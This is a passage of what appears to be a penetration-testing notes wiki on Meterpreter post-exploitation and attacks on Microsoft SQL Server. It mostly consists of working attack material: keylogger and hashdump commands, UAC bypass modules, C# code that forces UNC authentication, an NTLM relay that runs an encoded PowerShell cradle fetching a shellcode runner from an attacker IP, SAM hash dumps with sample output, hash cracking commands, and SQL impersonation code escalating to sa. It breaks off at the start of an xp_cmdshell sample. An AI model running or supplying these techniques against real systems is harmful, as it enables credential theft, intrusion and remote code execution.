powershell_session_remove --&amp;gt; Used to remove a PowerShell session when created using execute/import/shell with the -s argument&lt;br /&gt;
# Host Reconnaissance&lt;br /&gt;
# List running processes on a system&lt;br /&gt;
ps --&amp;gt; List processes&lt;br /&gt;
getpid --&amp;gt; List current PID&lt;br /&gt;
migrate {PID} --&amp;gt; Migrate to anothe PID&lt;br /&gt;
post/windows/manage/migrate --&amp;gt; Make meterpreter migrate to another process.&lt;br /&gt;
run service_manager -l --&amp;gt; Lists running services on Windows.&lt;br /&gt;
If we are against a non-interactive logon in which the explorer.exe process does not exist, we can create a hidden instance of notepad and migrate into it:&lt;br /&gt;
execute -H -f notepad&lt;br /&gt;
migrate {PID}&lt;br /&gt;
# Screenshots&lt;br /&gt;
screengrab --&amp;gt; Run plugin to capture screenshot of user session&lt;br /&gt;
# Keylogger&lt;br /&gt;
keyscan_start --&amp;gt; Start keylogger&lt;br /&gt;
keyscan_stop --&amp;gt; Stop keylogger&lt;br /&gt;
keyscan_dump --&amp;gt; Dump keylogger&lt;br /&gt;
# Privilege Escalation&lt;br /&gt;
getsystem --&amp;gt; Attempts to elevate privileges.&lt;br /&gt;
post/windows/gather/win_privs --&amp;gt; Determine privilege information.&lt;br /&gt;
exploit/windows/local/bypassuac_vbs --&amp;gt; Attempts to bypass UAC in order to escalate privileges.&lt;br /&gt;
windows/local/bypassuac_fodhelper --&amp;gt; Attempts to bypass UAC with fodhelper method, this should work w/ defender diasbled.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Post-Explotation with Meterpreter ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;help&amp;lt;/code&amp;gt;: List available commands.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Migrate&#039;&#039;&#039;: Migrate to another process with &amp;lt;code&amp;gt;migrate [PID]&amp;lt;/code&amp;gt;.&lt;br /&gt;
Used for: keystroke capturing (&amp;lt;code&amp;gt;keyscan_start&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;keyscan_stop&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;keyscan_dump&amp;lt;/code&amp;gt;) and ensuring session stability.&lt;br /&gt;
&lt;br /&gt;
* Caution: Migrating may lead to privilege loss.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Hashdump&#039;&#039;&#039;: Dump the SAM database containing NTLM-formatted passwords with &amp;lt;code&amp;gt;hashdump&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Search&#039;&#039;&#039;: Find files, e.g., &amp;lt;code&amp;gt;search -f flag2.txt&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Shell&#039;&#039;&#039;: Launch command shell on the target with &amp;lt;code&amp;gt;shell&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;search smb/psexec&amp;lt;/code&amp;gt; to search for a module.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;use [id]&amp;lt;/code&amp;gt; to use the module.&lt;br /&gt;
&lt;br /&gt;
* Set required fields using &amp;lt;code&amp;gt;set&amp;lt;/code&amp;gt; (e.g., &amp;lt;code&amp;gt;set RHOSTS [target-machine-ip]&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
* Confirm settings with &amp;lt;code&amp;gt;show options&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;run&amp;lt;/code&amp;gt; to start the exploit.&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Extensions ===&lt;br /&gt;
&lt;br /&gt;
[https://www.hackers-arise.com/post/2018/11/26/metasploit-basics-part-21-post-exploitation-with-mimikatz Metasploit Basics, Part 21: Capturing Credentials with mimikatz (hackers-arise.com)]&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;load kiwi&amp;lt;/code&amp;gt; - Load Mimikatz in current process&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;load incognito&amp;lt;/code&amp;gt; - Incognito is a tool which can be used for privilege escalation, typically from Local Administrator to Domain Administrator.&lt;br /&gt;
&lt;br /&gt;
*  &amp;lt;code&amp;gt;load powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;powershell_import PowerUp.ps1&amp;lt;/code&amp;gt; &amp;lt;-- from our local working dir.&lt;br /&gt;
&amp;lt;code&amp;gt;powershell_execute &amp;quot;Invoke-AllChecks&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter pivoting and Proxychains ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use autoroute module to create a pivot for the other network&lt;br /&gt;
use post/multi/manage/autoroute&lt;br /&gt;
set SUBNET 192.72.180.0&lt;br /&gt;
set SESSION 2&lt;br /&gt;
exploit&lt;br /&gt;
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.&lt;br /&gt;
use auxiliary/server/socks_proxy # Or try socks5&lt;br /&gt;
show options&lt;br /&gt;
set SRVPORT 9050&lt;br /&gt;
exploit&lt;br /&gt;
# Now you can use proxychains&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Portforward ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.offsec.com/metasploit-unleashed/portfwd/&lt;br /&gt;
# Add&lt;br /&gt;
# From the Meterpreter shell, the command is used in the following manner:&lt;br /&gt;
meterpreter &amp;gt; portfwd add –l 3389 –p 3389 –r  [target host]&lt;br /&gt;
# add will add the port forwarding to the list and will essentially create a tunnel for us. Please note, this tunnel will also exist outside the Metasploit console, making it available to any terminal session.&lt;br /&gt;
-l 3389 is the local port that will be listening and forwarded to our target. This can be any port on your machine, as long as it’s not already being used.&lt;br /&gt;
-p 3389 is the destination port on our targeting host.&lt;br /&gt;
-r [target host] is the our targeted system’s IP or hostname.&lt;br /&gt;
meterpreter &amp;gt; portfwd add –l 3389 –p 3389 –r 172.16.194.191&lt;br /&gt;
[*] Local TCP relay created: 0.0.0.0:3389 &amp;gt;-&amp;gt; 172.16.194.191:3389&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
Figure 2 Adding a port&lt;br /&gt;
# Delete&lt;br /&gt;
## Entries are deleted very much like the previous command. Once again from an active Meterpreter session, we would type the following:&lt;br /&gt;
meterpreter &amp;gt; portfwd delete –l 3389 –p 3389 –r [target host]&lt;br /&gt;
meterpreter &amp;gt; portfwd delete –l 3389 –p 3389 –r 172.16.194.191&lt;br /&gt;
[*] Successfully stopped TCP relay on 0.0.0.0:3389&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
# FLUSH: This argument will allow us to remove all the local port forward at once.&lt;br /&gt;
meterpreter &amp;gt; portfwd flush&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSI Backdoor ==&lt;br /&gt;
&lt;br /&gt;
If AlwaysInstalledElevated is set to one, you can elevate your privileges by backdooring an MSI installer.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper&lt;br /&gt;
Download exemsi --&amp;gt; https://www.exemsi.com/download/&lt;br /&gt;
# Follow the guide fom hacktrics.&lt;br /&gt;
&lt;br /&gt;
------------------&lt;br /&gt;
# If you have a meterpreter session&lt;br /&gt;
exploit/windows/local/always_install_elevated&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Good source ===&lt;br /&gt;
&lt;br /&gt;
[https://notes.vulndev.io/wiki/redteam/payloads/windows/mssql MSSQL - Notes (vulndev.io)]&lt;br /&gt;
&lt;br /&gt;
=== MSSQL Attacks ===&lt;br /&gt;
&lt;br /&gt;
==== Enumeration ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Extract all accounts in use as SPN using built in MS tools&lt;br /&gt;
setspn -T corp1 -Q MSSQLSvc/*&lt;br /&gt;
# Use GetUserSPNs.ps1&lt;br /&gt;
https://github.com/nidem/kerberoast&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Authentication using C# ====&lt;br /&gt;
&lt;br /&gt;
* This C# code is a simple program that connects to a SQL Server instance, checks if the connection is successful, and then retrieves and displays the current logged-in user. It also checks if the logged-in user is a member of the &#039;public&#039; server role and displays the result.&lt;br /&gt;
&lt;br /&gt;
* The term &amp;lt;code&amp;gt;Integrated Security = True;&amp;lt;/code&amp;gt; in a SQL Server connection string indicates that the connection should use Windows Authentication rather than SQL Server Authentication.&lt;br /&gt;
&lt;br /&gt;
* It&#039;s considered more secure than SQL Server Authentication because it uses the underlying Windows account mechanisms, including password policies, Kerberos, and NTLM.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String querylogin = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(querylogin, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Console.WriteLine(&amp;quot;Logged in as: &amp;quot; + reader[0]);&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            // Check public role&lt;br /&gt;
            String querypublicrole = &amp;quot;SELECT IS_SRVROLEMEMBER(&#039;public&#039;);&amp;quot;;&lt;br /&gt;
            command = new SqlCommand(querypublicrole, con);&lt;br /&gt;
            reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Int32 rolePublic = Int32.Parse(reader[0].ToString());&lt;br /&gt;
            if (rolePublic == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is a member of public role&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is NOT a member of public role&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            // Check sysadmin role&lt;br /&gt;
            String querySysAdminRole = &amp;quot;SELECT IS_SRVROLEMEMBER(&#039;sysadmin&#039;);&amp;quot;;&lt;br /&gt;
            command = new SqlCommand(querySysAdminRole, con);&lt;br /&gt;
            reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Int32 roleSysAdmin = Int32.Parse(reader[0].ToString());&lt;br /&gt;
            if (roleSysAdmin == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is a member of sysadmin&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is NOT a member of sysadmin&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== UNC Path Injection ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Attack Premise&#039;&#039;&#039;: Capture the hash of the user account under which the SQL server runs by making it connect to an SMB share.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# xp_dirtree SQL Procedure&lt;br /&gt;
#	• Function: Lists all files in a given folder.&lt;br /&gt;
#	• Special Feature: Can accept an SMB share as a target.&lt;br /&gt;
EXEC master..xp_dirtree &amp;quot;\\192.168.119.120\\test&amp;quot;;&lt;br /&gt;
# Responder Tool&lt;br /&gt;
#	• Function: Sets up an SMB share initiating NTLM authentication.&lt;br /&gt;
sudo responder -I tun0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below will authenticate to the SQL server and execute the xp_dirtree procedure. Remember to start &amp;lt;code&amp;gt;responder&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Once the NET-NTLM hash is captured, you can use &amp;lt;code&amp;gt;hashcat&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;hashcat -m 5600 hash.txt dict.txt --force&amp;lt;/code&amp;gt;) or &amp;lt;code&amp;gt;john&amp;lt;/code&amp;gt; to crack it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String query = &amp;quot;EXEC master..xp_dirtree \&amp;quot;\\\\192.168.119.120\\\\test\&amp;quot;;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:8ZPa5+qasCAAAAABJRU5ErkJggg==|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Relay the hash ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
Achieve code execution on the SQL server OS without needing to crack the captured Net-NTLM hash.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Net-NTLM hash&#039;&#039;&#039;: While it can&#039;t be used directly in a pass-the-hash attack, it can be relayed to another computer. If the user is a local administrator on the target, this can lead to code execution.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Microsoft&#039;s Security Measure&#039;&#039;&#039;: Since 2008, Microsoft has blocked the ability to relay a Net-NTLM hash back to the origin computer using the same protocol.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;SMB Signing&#039;&#039;&#039;: Relaying Net-NTLM against SMB is only possible if SMB signing is not enabled. By default, it&#039;s enabled only on domain controllers.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Procedure&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Enumeration&#039;&#039;&#039;: Identified that the service account associated with the SQL server is used on both dc01 and appsrv01 and has local administrator rights on both.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First base64 encode the download cradle. This will download and invoke the run.txt. Run.txt is our shellcode runner. CTRL+F run.txt to find the code.&lt;br /&gt;
kali@kali:~$ sudo apt -y install powershell&lt;br /&gt;
kali@kali:~$ pwsh&lt;br /&gt;
PS /home/kali&amp;gt; $text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
$EncodedText&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Launch ntlmrelayx. this command attempts to relay captured NTLM authentication requests to the machine at 192.168.120.6 over SMB (with SMBv2 support). If the relay is successful and the authentication on the target is accepted, the specified base64-encoded PowerShell command will be executed on the target machine.&lt;br /&gt;
# When the xp_dirtree command is run (see code above), it will authenticate to our ntlmrelayx and we will capture the hash as shown above.&lt;br /&gt;
# The -t option specifies the target to which the relayed authentication will be sent.&lt;br /&gt;
sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.120.6 -c &#039;powershell -enc &#039;&lt;br /&gt;
[*] SMBD-Thread-4 (process_request_thread): Received connection from 192.168.229.5, attacking target smb://192.168.229.6&lt;br /&gt;
[*] Authenticating against smb://192.168.229.6 as CORP1/SQLSVC SUCCEED&lt;br /&gt;
[*] SMBD-Thread-6 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-8 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-9 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] Service RemoteRegistry is in stopped state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-7.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
===== Dump hashes using NTLMrelayx.py =====&lt;br /&gt;
&lt;br /&gt;
* You can also get the hashes if the user authenticating have the rights&lt;br /&gt;
&lt;br /&gt;
* Remember to check links also. If you have two MSSQL servers, SQL01 and SQL02 which are linked. Check if you can relay the hash from SQL01 to SQL02 and get the local SAM database for example.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
proxychains python3 ntlmrelayx.py --no-http-server -smb2support -t 192.168.1.25                                                1 ⚙&lt;br /&gt;
[proxychains] config file found: /etc/proxychains4.conf&lt;br /&gt;
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4&lt;br /&gt;
[proxychains] DLL init: proxychains-ng 4.16&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Protocol Client LDAPS loaded..&lt;br /&gt;
[*] Protocol Client LDAP loaded..&lt;br /&gt;
[*] Protocol Client HTTPS loaded..&lt;br /&gt;
[*] Protocol Client HTTP loaded..&lt;br /&gt;
[*] Protocol Client MSSQL loaded..&lt;br /&gt;
[*] Protocol Client SMTP loaded..&lt;br /&gt;
[*] Protocol Client IMAPS loaded..&lt;br /&gt;
[*] Protocol Client IMAP loaded..&lt;br /&gt;
[*] Protocol Client RPC loaded..&lt;br /&gt;
[*] Protocol Client SMB loaded..&lt;br /&gt;
[*] Protocol Client DCSYNC loaded..&lt;br /&gt;
[*] Running in relay mode to single host&lt;br /&gt;
[*] Setting up SMB Server&lt;br /&gt;
[*] Setting up WCF Server&lt;br /&gt;
[*] Setting up RAW Server on port 6666&lt;br /&gt;
[...]&lt;br /&gt;
controlled, but there are no more targets left!&lt;br /&gt;
[*] Service RemoteRegistry is in stopped state&lt;br /&gt;
[*] Starting service RemoteRegistry&lt;br /&gt;
[*] Target system bootKey: 0xd9996db98e1caaaaabbvvfdfdeeerreew&lt;br /&gt;
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)&lt;br /&gt;
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3623e909efeda77786a000bc7176aeac:::&lt;br /&gt;
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:cf24abb0dd2ff42591001e892d98d690:::&lt;br /&gt;
[*] Done dumping SAM hashes for host: 192.168.1.25&lt;br /&gt;
[*] Stopping service RemoteRegistry&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== MSSQL Escalation ===&lt;br /&gt;
&lt;br /&gt;
==== Escalation ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Achieve higher privileges within the SQL database by leveraging impersonation.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Sysadmin Role&#039;&#039;&#039;: Direct authentication with a user possessing the sysadmin role membership is the most straightforward method to secure elevated privileges. However, accessing such a user isn&#039;t always possible.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Impersonation&#039;&#039;&#039;: This technique lets you execute SQL queries in the context of another login or user. Only users granted the explicit Impersonate permission can utilize this method. This permission is not set by default.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Impersonation at the User Level:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prerequisites:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Our user must have been granted impersonation for another user with additional role memberships.&lt;br /&gt;
&lt;br /&gt;
* The database user we aim to impersonate should be in a database with the TRUSTWORTHY property enabled.&lt;br /&gt;
The &#039;&#039;database owner &#039;&#039;(dbo) usually have this syadmin role.&lt;br /&gt;
&lt;br /&gt;
The rid 500 user (ex: local administrator) is always added to DBA and can always impersonate SA.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // This will give us all the logins that allow impersonation.&lt;br /&gt;
                    string query = &amp;quot;SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = &#039;IMPERSONATE&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read() == true)&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Logins that can be impersonated: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Before impersonation&amp;quot;);&lt;br /&gt;
                    query = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    string executeAs = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(executeAs, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;After impersonation&amp;quot;);&lt;br /&gt;
                    query = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    executeAs = &amp;quot;USE msdb; EXECUTE AS USER = &#039;dbo&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(executeAs, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    query = &amp;quot;SELECT USER_NAME();&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Code Execution ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Leverage sysadmin role membership to execute code on the Windows server hosting the SQL database.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;xp_cmdshel&#039;&#039;&#039;l: A well-known stored procedure that spawns a Windows command shell and passes a string for execution. Disabled by default since SQL 2005 due to its potential for misuse.&lt;br /&gt;
&#039;&#039;&#039;Activation: &#039;&#039;&#039;Enable xp_cmdshell: [https://book.ghanim.no/?page_id=1809#xp_cmdshell CheatSheet I – Basic – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;sp_OACreate and sp_OAMethod:&#039;&#039;&#039; These stored procedures allow the creation and execution of a new procedure based on Object Linking and Embedding (OLE). They can be used to instantiate the Windows Script Host and execute commands.&lt;br /&gt;
&#039;&#039;&#039;Activation&#039;&#039;&#039;: Ensure the &amp;quot;OLE Automation Procedures&amp;quot; setting is enabled.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;EXEC sp_configure &#039;Ole Automation Procedures&#039;, 1;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;RECONFIGURE;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;xp_cmdshell &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
